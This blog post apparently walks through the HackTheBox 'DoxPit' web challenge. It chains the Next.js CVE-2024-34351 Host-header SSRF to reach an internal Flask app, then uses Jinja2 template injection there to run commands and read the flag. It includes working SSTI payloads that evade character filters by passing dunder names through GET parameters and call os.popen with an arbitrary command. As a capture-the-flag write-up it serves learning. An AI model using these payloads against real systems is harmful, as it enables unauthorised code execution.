Skip to main content
  1. Blog Posts/

DoxPit HTB

·4 mins

Details #

Challenge: DoxPit
Difficulty: Medium
Category: Web

Finding the vulnerability #

Before viewing the source code, let’s take a look at the web page of the challenge.

main page
We see the main forum page, where all links redirect to the /error page, except for the /hof page.
hof page
When scanning the source code of the page we find nothing interesting and move on. It should also be noted that the forum uses NextJs v14.1.0 for the frontend.
wappalyzer
At this point, let’s leave the web page and try to find something useful in the project source code attached to this challenge.
source code
When viewing the entrypoint.sh file, note that the flags file is moved to the root directory and given a random name when the container is started.
entrypoints.sh
The next thing that catches your eye is that there is not one project running in the container, but two, with the second project named av.
projects
Front-end is the application in Next.js that we saw in the browser. The av project is written in Python (Flask) and runs on port 3000, but is not accessible from the outside.
run.py
When examining the code, it becomes clear that the av project is an application that receives a directory from a registered user, scans it, and returns the results of the scan_directory function. The scan_directory function, in turn, recursively searches all files using os.walkdir, gets the sha256 hash sum of each file and compares it with hashes from the BLACKLIST_HASHES blacklist, and displays different messages depending on whether the hash is in the blacklist or not.
scan
There is a place inside the av project that is worth noting - it is a validation check for directory names, and since the directory name is then inserted into a pre-made template, we can assume that the developer wanted to write protection against SSTI. Note that Flask uses Jinja for templates.
valid
Now let’s try running the av project and see what it looks like.
av front
Let’s scan some directory and see that the directory name is also rendered.
av directory
Let’s intercept the request in the burp suite and continue our manipulations there. Since characters from invalid_chars are forbidden, let’s just try to print some value.

{%print(42)%}

av-ssti
The vulnerability is confirmed, now let’s try RCE. But, since “{{” and “}}” characters are forbidden, we will use so-called control structures “{%” “%}”. Further, since we cannot use the “.” character to call methods, we will use the attr function, which allows us to get a property without using a dot. Let’s take the template from HackTricks.

{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l${IFS}/')|attr('read')()%}{%print(a)%}{%endwith%}

We can’t use backslashes and the letter “x” either, so encoding underscores into HEX format won’t help us, we need to get rid of underscores in some other way. After a bit of reading Jinja2 documentation, we realize that we can bypass underscores filtering by passing them through get-parameters.

request|attr(request.args.foo)

Don’t forget about dots and use attr in conjunction with get. As a result, we get this template (I get a long string, but maybe someone will get a shorter one).

{%with a=((((request|attr('application'))|attr(request|attr("args")|attr("get")('globals')))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('builtins'))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('import'))('os')|attr('popen')(request|attr("args")|attr("get")('cmd'))|attr('read')()%}{%print(a)%}{%endwith%}&globals=__globals__&getitem=__getitem__&builtins=__builtins__&import=__import__&cmd=ls -l /

And we get a successful result.

SSTI RCE whoami
To formulate our next steps, we need to interact with this application, which is running inside a container on port 3000, and exploit the SSTI vulnerability for our purposes. Let’s move on to the front-end application on NextJs v14.1.0.0. At first glance we don’t find anything interesting, let’s try to find this version in the github and see if there are any CVEs. After searching we find such interesting resources with explanation of vulnerability in Server Actions.
1.Github
2.CVE-2024-34351
3.Detailed description of the vulnerability itself. In short, by substituting the value of the Host header in a request, we can make requests that appear to come from the NextJs application server itself. As we study the project, we notice that clicking on some paste(copypaste) from the main page / redirects to the /error page.
doredirect
Next, to use SSRF we need a Next-Action ID, which defines the action ID for NextJs. It can be found in the source code of the page.
next action
Let’s try to intercept the request with ngrok, and see the result.
headers

Getting the flag #

Next, let’s use the python code to intercept and redirect the request from the above article and try to send the request to the Flask application.

python server
Let’s get the token.
login token
Then use SSTI using the template we created earlier.
ssti
As a result, we get a flag.
flag